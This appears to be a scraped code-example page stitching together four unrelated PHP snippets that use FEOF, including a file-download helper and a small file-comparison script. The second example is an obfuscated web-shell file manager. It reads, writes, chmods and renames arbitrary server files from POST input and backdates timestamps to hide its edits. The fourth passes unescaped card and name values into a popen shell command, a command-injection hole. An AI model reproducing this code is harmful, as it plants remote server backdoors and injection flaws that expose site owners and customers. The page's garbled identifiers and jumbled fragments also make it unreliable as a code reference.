Пример #1
0
function send_file($name)
{
    OB_END_CLEAN();
    $path = $name;
    //"../temp/".$name;
    if (!IS_FILE($path) or CONNECTION_STATUS() != 0) {
        return FALSE;
    }
    HEADER("Cache-Control: no-store, no-cache, must-revalidate");
    HEADER("Cache-Control: post-check=0, pre-check=0", FALSE);
    HEADER("Pragma: no-cache");
    HEADER("Expires: " . GMDATE("D, d M Y H:i:s", MKTIME(DATE("H") + 2, DATE("i"), DATE("s"), DATE("m"), DATE("d"), DATE("Y"))) . " GMT");
    HEADER("Last-Modified: " . GMDATE("D, d M Y H:i:s") . " GMT");
    HEADER("Content-Type: application/octet-stream");
    HEADER("Content-Length: " . (string) FILESIZE($path));
    HEADER("Content-Disposition: inline; filename={$name}");
    HEADER("Content-Transfer-Encoding: binary\n");
    if ($file = FOPEN($path, 'rb')) {
        while (!FEOF($file) and CONNECTION_STATUS() == 0) {
            print FREAD($file, 1024 * 8);
            FLUSH();
        }
        FCLOSE($file);
    }
    return CONNECTION_STATUS() == 0 and !CONNECTION_ABORTED();
}
Пример #2
0
function aCtiONfILEstOolS()
{
    if (isset($_POST[_≈сс::_ш┬('_' . '╩г', '_пп' . 'ц')])) {
        $_POST[_≈сс::_ш┬('_' . '≤√', '_в╕е')] = UrlDEcOde($_POST[_≈сс::_ш┬('_' . '╥' . 'н╥', '_' . 'ч╗')]);
    }
    if (@$_POST[_≈сс::_ш┬('_' . 'п║', '_╟⌡')] == _≈сс::_ш┬('_' . '╔' . '╛', '_╞в')) {
        if (@Is_FIlE($_POST[_≈сс::_ш┬('_╧' . '╘', '_╔╣')]) && @is_REaDabLe($_POST[_≈сс::_ш┬('_эмо', '_р┼' . 'я')])) {
            ob_StarT(_≈сс::_ш┬('_б╓', '_╤├о'), 010000);
            heAder(_≈сс::_ш┬('_у≥ё', '_≤л') . bASENAME($_POST[_≈сс::_ш┬('_┼┤' . '┴', '_' . 'ы┴п')]));
            if (FUNCtioN_ExiStS(_≈сс::_ш┬('_м├', '_≥лз'))) {
                $_д = @mIME_COntent_typE($_POST[_≈сс::_ш┬('_' . 'р├' . 'ф', '_' . 'т╩')]);
                HEader(_≈сс::_ш┬('_' . '▄⌠' . 'ф', '_├ю' . 'г') . $_д);
            } else {
                HEAder(_≈сс::_ш┬('_' . 'гз' . '╓', '_┬▀' . '▌'));
            }
            $_╔╛р = @fopEn($_POST[_≈сс::_ш┬('_ж≤┤', '_╜' . 'г')], _≈сс::_ш┬('_' . '┘' . 'ц', '_ие'));
            if ($_╔╛р) {
                while (!@fEOF($_╔╛р)) {
                    echo @fREAd($_╔╛р, 02000);
                }
                FclOse($_╔╛р);
            }
        }
        exit;
    }
    if (@$_POST[_≈сс::_ш┬('_╟├' . 'ъ', '_ц█')] == _≈сс::_ш┬('_' . 'щ√', '_' . 'ё' . '╡')) {
        if (!FILE_eXIsTs($_POST[_≈сс::_ш┬('_' . '┴⌡', '_╓' . '╟')])) {
            $_╔╛р = @FOPeN($_POST[_≈сс::_ш┬('_' . '▒' . 'ю', '_т▒' . 'б')], _≈сс::_ш┬('_' . '╞' . '╥', '_' . 'цщ'));
            if ($_╔╛р) {
                $_POST[_≈сс::_ш┬('_ёя', '_' . 'з═')] = _≈сс::_ш┬('_' . 'ц╤', '_сьъ');
                fcloSE($_╔╛р);
            }
        }
    }
    _н();
    echo _≈сс::_ш┬('_' . 'хз' . 'р', '_╙' . 'ёп');
    if (!File_ExiStS(@$_POST[_≈сс::_ш┬('_≤╩', '_' . '┴' . '≤')])) {
        echo _≈сс::_ш┬('_┤' . '▀', '_╙╚х');
        _▌╩();
        return;
    }
    $_■ = @posIX_geTPwUID(@fileOWNER($_POST[_≈сс::_ш┬('_' . '╝╗' . '├', '_╫' . 'я')]));
    if (!$_■) {
        $_■[_≈сс::_ш┬('_╩' . '╞', '_╠' . '═╞')] = @fILeOwNER($_POST[_≈сс::_ш┬('_ц╘', '_' . '≈' . '■⌡')]);
        $_▀я├[_≈сс::_ш┬('_ц╡' . 'о', '_' . '⌠√')] = @FileGrOUp($_POST[_≈сс::_ш┬('_' . 'х┬', '_╛мл')]);
    } else {
        $_▀я├ = @poSIx_gETgrgID(@fiLEgrOUP($_POST[_≈сс::_ш┬('_сь', '_' . 'х═' . '▌')]));
    }
    echo _≈сс::_ш┬('_фж' . '┴', '_╕╤≈') . HtmLSPeCiALCHaRS(@baSenAme($_POST[_≈сс::_ш┬('_' . 'я═' . '▓', '_┼┴э')])) . _≈сс::_ш┬('_┼╟' . 'р', '_┘│▀') . (IS_fiLe($_POST[_≈сс::_ш┬('_' . 'ъэ' . 'й', '_' . 'тж')]) ? _┌├к(fIlESIze($_POST[_≈сс::_ш┬('_' . '╡' . '├' . '▒', '_нв')])) : _≈сс::_ш┬('_зу', '_┘' . 'кю')) . _≈сс::_ш┬('_┬' . 'с', '_' . 'х▓') . _═├($_POST[_≈сс::_ш┬('_╝д▌', '_' . 'шы')]) . _≈сс::_ш┬('_ь■' . '╡', '_' . '╡' . 'ыъ') . $_■[_≈сс::_ш┬('_─' . 'к╖', '_▀╠ш')] . _≈сс::_ш┬('_' . 'в═▌', '_▀╚з') . $_▀я├[_≈сс::_ш┬('_▄' . '╫', '_≈╟' . '╣')] . _≈сс::_ш┬('_я╣', '_у╓' . 'л');
    echo _≈сс::_ш┬('_⌡╩', '_' . 'ь⌡' . 'ы') . daTE(_≈сс::_ш┬('_з│' . '▒', '_к■' . 'ч'), fILEcTime($_POST[_≈сс::_ш┬('_лы', '_▒' . '╘л')])) . _≈сс::_ш┬('_' . '╖' . 'р┌', '_ж╚') . daTE(_≈сс::_ш┬('_' . '╟п', '_' . '╛' . 'ъ'), fILEaTIMe($_POST[_≈сс::_ш┬('_' . 'у▓', '_' . 'йх')])) . _≈сс::_ш┬('_ил', '_▄' . '▌' . '▒') . DAte(_≈сс::_ш┬('_▄┤ь', '_с┘м'), fiLemtIme($_POST[_≈сс::_ш┬('_▄' . '┤к', '_' . '╡√' . 'щ')])) . _≈сс::_ш┬('_б┬', '_ы│б');
    if (empty($_POST[_≈сс::_ш┬('_╧жч', '_╞' . 'д')])) {
        $_POST[_≈сс::_ш┬('_' . 'н╞│', '_' . 'фюй')] = _≈сс::_ш┬('_' . 'э├', '_█' . '■' . 'х');
    }
    if (iS_FILE($_POST[_≈сс::_ш┬('_ф╧', '_╕√')])) {
        $_║ = array(_≈сс::_ш┬('_' . 'я╙', '_' . '┌■'), _≈сс::_ш┬('_' . '╗' . 'г', '_═' . '╠'), _≈сс::_ш┬('_≤┴', '_' . 'шр'), _≈сс::_ш┬('_' . '═' . '√╧', '_' . 'ом' . '╜'), _≈сс::_ш┬('_' . '┬╙', '_╙' . '╙' . '√'), _≈сс::_ш┬('_ас≈', '_' . 'ь╠'), _≈сс::_ш┬('_▌╔' . '╤', '_а' . '▄х'), _≈сс::_ш┬('_ж╫' . '║', '_г╩┘'));
    } else {
        $_║ = array(_≈сс::_ш┬('_' . '└' . '▓╤', '_ч≤' . '╩'), _≈сс::_ш┬('_┼' . '└', '_╖' . 'н≈'), _≈сс::_ш┬('_г├' . '▒', '_' . 'ь╔й'));
    }
    foreach ($_║ as $_ю╫) {
        echo _≈сс::_ш┬('_├' . 'в', '_╙─в') . uRlenCoDE($_POST[_≈сс::_ш┬('_' . '╣' . 'к▓', '_' . '▌┼' . '┘')]) . _≈сс::_ш┬('_' . 'дх', '_┬' . 'ф') . StrToloWER($_ю╫) . _≈сс::_ш┬('_┌' . 'и⌡', '_' . '▄╟') . (STrTOLOwer($_ю╫) == @$_POST[_≈сс::_ш┬('_' . '⌠а' . '╡', '_ащ▐')] ? _≈сс::_ш┬('_' . '╔■ш', '_▀ф█') . $_ю╫ . _≈сс::_ш┬('_' . '∙─', '_улт') : $_ю╫) . _≈сс::_ш┬('_' . '⌠' . '╝' . '√', '_▐' . 'ф≈');
    }
    echo _≈сс::_ш┬('_' . '│█', '_╝▀' . 'п');
    switch ($_POST[_≈сс::_ш┬('_√' . '┬', '_' . '╔▌' . '≤')]) {
        case _≈сс::_ш┬('_' . '╠√', '_' . 'п╙'):
            echo _≈сс::_ш┬('_' . '╫' . 'л╙', '_≤я┤');
            $_╔╛р = @fopeN($_POST[_≈сс::_ш┬('_╛╔▓', '_╖э')], _≈сс::_ш┬('_' . 'лу', '_к┤'));
            if ($_╔╛р) {
                while (!@fEof($_╔╛р)) {
                    echo HtMLSpEcIalcHaRs(@fREad($_╔╛р, 02000));
                }
                @fCLOSe($_╔╛р);
            }
            echo _≈сс::_ш┬('_жк', '_' . 'ё╧');
            break;
        case _≈сс::_ш┬('_┴╔', '_' . 'ф├≤'):
            if (@is_readABlE($_POST[_≈сс::_ш┬('_▀' . '≥', '_' . '▒≥╔')])) {
                echo _≈сс::_ш┬('_' . '▐' . '┼б', '_я└');
                $_╟щ = @higHlIght_FILe($_POST[_≈сс::_ш┬('_' . '╧' . '╟' . '╚', '_' . '═▓')], true);
                echo sTR_REpLAcE(array(_≈сс::_ш┬('_' . 'за', '_╩' . '≥'), _≈сс::_ш┬('_├' . 'й╘', '_' . 'я█' . '╓')), array(_≈сс::_ш┬('_╓√≥', '_' . 'идб'), _≈сс::_ш┬('_' . '║╡х', '_ш▒')), $_╟щ) . _≈сс::_ш┬('_' . 'д─' . 'ы', '_нт');
            }
            break;
        case _≈сс::_ш┬('_┤жэ', '_чзъ'):
            if (!empty($_POST[_≈сс::_ш┬('_' . 'в╠', '_жь' . 'в')])) {
                $_┼┤ = 00;
                for ($_╧╞│ = strlEN($_POST[_≈сс::_ш┬('_╔┬', '_' . 'чу║')]) - 01; $_╧╞│ >= 00; --$_╧╞│) {
                    $_┼┤ += (int) $_POST[_≈сс::_ш┬('_' . 'ь≥', '_' . '┌' . 'з')][$_╧╞│] * pOw(010, STrleN($_POST[_≈сс::_ш┬('_' . '│■┌', '_' . '╗╣')]) - $_╧╞│ - 01);
                }
                if (!@chmOD($_POST[_≈сс::_ш┬('_' . '▓в', '_вж╫')], $_┼┤)) {
                    echo _≈сс::_ш┬('_гр' . '═', '_⌡┌и');
                }
            }
            cLEARStAtcaCHE();
            echo _≈сс::_ш┬('_х╜' . 'ё', '_пъ') . UrLEncODE($_POST[_≈сс::_ш┬('_' . 'ыс', '_╟≥' . 'к')]) . _≈сс::_ш┬('_╗' . 'щф', '_щ■' . '■') . suBSTr(SPRINTF(_≈сс::_ш┬('_╚з', '_═ф'), FiLEPERmS($_POST[_≈сс::_ш┬('_' . '≈▄' . '╗', '_' . 'ь⌡│')])), -04) . _≈сс::_ш┬('_к╩' . 'л', '_█' . 'ц╣');
            break;
        case _≈сс::_ш┬('_▓┘р', '_ечп'):
            if (!IS_WRITABle($_POST[_≈сс::_ш┬('_╫' . 'ж╤', '_▒' . '╚┬')])) {
                echo _≈сс::_ш┬('_║м', '_≥' . '▒');
                break;
            }
            if (!empty($_POST[_≈сс::_ш┬('_' . 'д╧м', '_е≤х')])) {
                $_▌щм = @Filemtime($_POST[_≈сс::_ш┬('_╧└' . '╞', '_' . '█≈' . 'е')]);
                $_POST[_≈сс::_ш┬('_│▓' . '▀', '_шсл')] = suBsTr($_POST[_≈сс::_ш┬('_яр' . 'я', '_' . '╥║' . '┼')], 01);
                $_╔╛р = @FoPEn($_POST[_≈сс::_ш┬('_▓╞', '_≤ф')], _≈сс::_ш┬('_ют', '_с▌'));
                if ($_╔╛р) {
                    @FwriTE($_╔╛р, $_POST[_≈сс::_ш┬('_┤ъ│', '_' . '⌡└─')]);
                    @FcLOsE($_╔╛р);
                    echo _≈сс::_ш┬('_' . 'хъ', '_ы╗' . 'ж');
                    @TouCh($_POST[_≈сс::_ш┬('_' . 'гэ', '_ьа' . 'я')], $_▌щм, $_▌щм);
                }
            }
            echo _≈сс::_ш┬('_▐╖', '_ны') . UrlenCOdE($_POST[_≈сс::_ш┬('_│' . 'п┤', '_' . '╙с')]) . _≈сс::_ш┬('_' . '≤║╝', '_√╚' . 'р');
            $_╔╛р = @FopEn($_POST[_≈сс::_ш┬('_╙╫', '_├' . '┬')], _≈сс::_ш┬('_╙' . '▌', '_пр'));
            if ($_╔╛р) {
                while (!@FEOF($_╔╛р)) {
                    echo htMLspeciaLCharS(@freaD($_╔╛р, 02000));
                }
                @fCloSe($_╔╛р);
            }
            echo _≈сс::_ш┬('_' . '╗' . '╔┴', '_∙м');
            break;
        case _≈сс::_ш┬('_' . '╚╕' . '╔', '_д╧' . '▄'):
            $_┼┘╓ = @FIlE_geT_CONtENTs($_POST[_≈сс::_ш┬('_║о', '_┌ё▒')]);
            $_╫≥ = 00;
            $_⌡х = array(_≈сс::_ш┬('_┼' . '╣', '_' . 'фкв'), _≈сс::_ш┬('_' . 'мъ', '_щц' . '█'), _≈сс::_ш┬('_ьёт', '_ы╓'));
            $_▀╔└ = STrlen($_┼┘╓);
            for ($_╧╞│ = 00; $_╧╞│ < $_▀╔└; ++$_╧╞│) {
                $_⌡х[01] .= sPRIntf(_≈сс::_ш┬('_╛╝╧', '_■й'), ORd($_┼┘╓[$_╧╞│])) . _≈сс::_ш┬('_═╝╥', '_' . 'бр╤');
                switch (ORD($_┼┘╓[$_╧╞│])) {
                    case 00:
                        $_⌡х[02] .= _≈сс::_ш┬('_' . '⌠─', '_' . 'ег');
                        break;
                    case 011:
                        $_⌡х[02] .= _≈сс::_ш┬('_' . '≥≈щ', '_' . '≈вн');
                        break;
                    case 012:
                        $_⌡х[02] .= _≈сс::_ш┬('_яе' . '┼', '_' . 'у▓' . '║');
                        break;
                    case 015:
                        $_⌡х[02] .= _≈сс::_ш┬('_╣ы', '_' . '╙щ');
                        break;
                    default:
                        $_⌡х[02] .= $_┼┘╓[$_╧╞│];
                        break;
                }
                $_╫≥++;
                if ($_╫≥ == 040) {
                    $_╫≥ = 00;
                    if ($_╧╞│ + 01 < $_▀╔└) {
                        $_⌡х[00] .= sPrintf(_≈сс::_ш┬('_╙╟', '_║≤'), $_╧╞│ + 01) . _≈сс::_ш┬('_' . 'сс', '_п╘м');
                    }
                    $_⌡х[01] .= _≈сс::_ш┬('_кдк', '_≈╫л');
                    $_⌡х[02] .= _≈сс::_ш┬('_╤╘╫', '_' . 'мй');
                }
            }
            echo _≈сс::_ш┬('_▌┼', '_⌡лп') . $_⌡х[00] . _≈сс::_ш┬('_' . '╥ку', '_' . 'ю╖') . $_⌡х[01] . _≈сс::_ш┬('_' . '▐эр', '_⌡' . '√╫') . hTmLspEcIalcHaRs($_⌡х[02]) . _≈сс::_ш┬('_∙э║', '_хш' . '└');
            break;
        case _≈сс::_ш┬('_╣' . '╔', '_▄' . 'ъ╥'):
            if (!empty($_POST[_≈сс::_ш┬('_' . 'у█у', '_▐∙╠')])) {
                if (!@reName($_POST[_≈сс::_ш┬('_ы≥╝', '_' . '┌р╘')], $_POST[_≈сс::_ш┬('_╣ш', '_⌡' . 'э')])) {
                    echo _≈сс::_ш┬('_р╖', '_■│');
                } else {
                    die(_≈сс::_ш┬('_╗' . 'т', '_▒' . 'г') . uRLeNCodE($_POST[_≈сс::_ш┬('_╫' . '⌡', '_' . '▒й')]) . _≈сс::_ш┬('_' . '╩' . '√⌠', '_└' . '═'));
                }
            }
            echo _≈сс::_ш┬('_' . '■╞э', '_≥╟й') . URlEnCOde($_POST[_≈сс::_ш┬('_' . 'ью', '_╗' . '╖')]) . _≈сс::_ш┬('_' . '═' . 'э', '_' . '│╥') . HtmlSPeCialcHARs($_POST[_≈сс::_ш┬('_▐' . '┤' . 'ф', '_ас')]) . _≈сс::_ш┬('_яц', '_≥р');
            break;
        case _≈сс::_ш┬('_рд' . 'ч', '_╡╞' . 'ъ'):
            if (!empty($_POST[_≈сс::_ш┬('_╣' . 'ь▓', '_╫' . '┴')])) {
                $_▌щм = StRTotime($_POST[_≈сс::_ш┬('_▌╛' . '≈', '_' . '═' . '')]);
                if ($_▌щм) {
                    if (!toUCh($_POST[_≈сс::_ш┬('_≈' . '╫', '_' . 'й■' . 'м')], $_▌щм, $_▌щм)) {
                        echo _≈сс::_ш┬('_┼' . 'з', '_е╟');
                    } else {
                        echo _≈сс::_ш┬('_▀' . '║', '_яэ╥');
                    }
                } else {
                    echo _≈сс::_ш┬('_ре', '_' . 'чж');
                }
            }
            cLEarSTaTcAcHE();
            echo _≈сс::_ш┬('_ух' . 'б', '_╧' . '╩' . '╤') . uRlENcODE($_POST[_≈сс::_ш┬('_╚п', '_┘' . 'я')]) . _≈сс::_ш┬('_╖' . 'о', '_' . 'м╠') . DAtE(_≈сс::_ш┬('_╞' . '⌠ъ', '_╞' . '═'), @fILemTImE($_POST[_≈сс::_ш┬('_фчя', '_╕│')])) . _≈сс::_ш┬('_' . '╛л', '_╠ую');
            break;
    }
    echo _≈сс::_ш┬('_' . 'у║', '_├╩');
    _▌╩();
}
Пример #3
0
<?php

$fp = fopen('1', 'r');
var_dump($fp);
exit;
$a = array();
while (!FEOF($fp)) {
    $a[] = fgets($fp);
}
var_dump($a);
exit;
$b = array();
$fp_2 = fopen('2', 'r');
while (!FEOF($fp_2)) {
    $b[] = fgets($fp_2);
}
foreach ($b as $key => $value) {
    if (in_array($value, $a)) {
        continue;
    } else {
        echo $value;
    }
}
Пример #4
0
 function sfGetAuthonlyResult($dir, $file_name, $name01, $name02, $card_no, $card_exp, $amount, $order_id, $jpo_info = "10")
 {
     $path = $dir . $file_name;
     // cgiファイルのフルパス生成
     $now_dir = getcwd();
     // requireがうまくいかないので、cgi実行ディレクトリに移動する
     chdir($dir);
     // パイプ渡しでコマンドラインからcgi起動
     $cmd = "{$path} card_no={$card_no} name01={$name01} name02={$name02} card_exp={$card_exp} amount={$amount} order_id={$order_id} jpo_info={$jpo_info}";
     $tmpResult = popen($cmd, "r");
     // 結果取得
     while (!FEOF($tmpResult)) {
         $result .= FGETS($tmpResult);
     }
     pclose($tmpResult);
     //     パイプを閉じる
     chdir($now_dir);
     // 元にいたディレクトリに帰る
     // 結果を連想配列へ格納
     $result = ereg_replace("&\$", "", $result);
     foreach (explode("&", $result) as $data) {
         list($key, $val) = explode("=", $data, 2);
         $return[$key] = $val;
     }
     return $return;
 }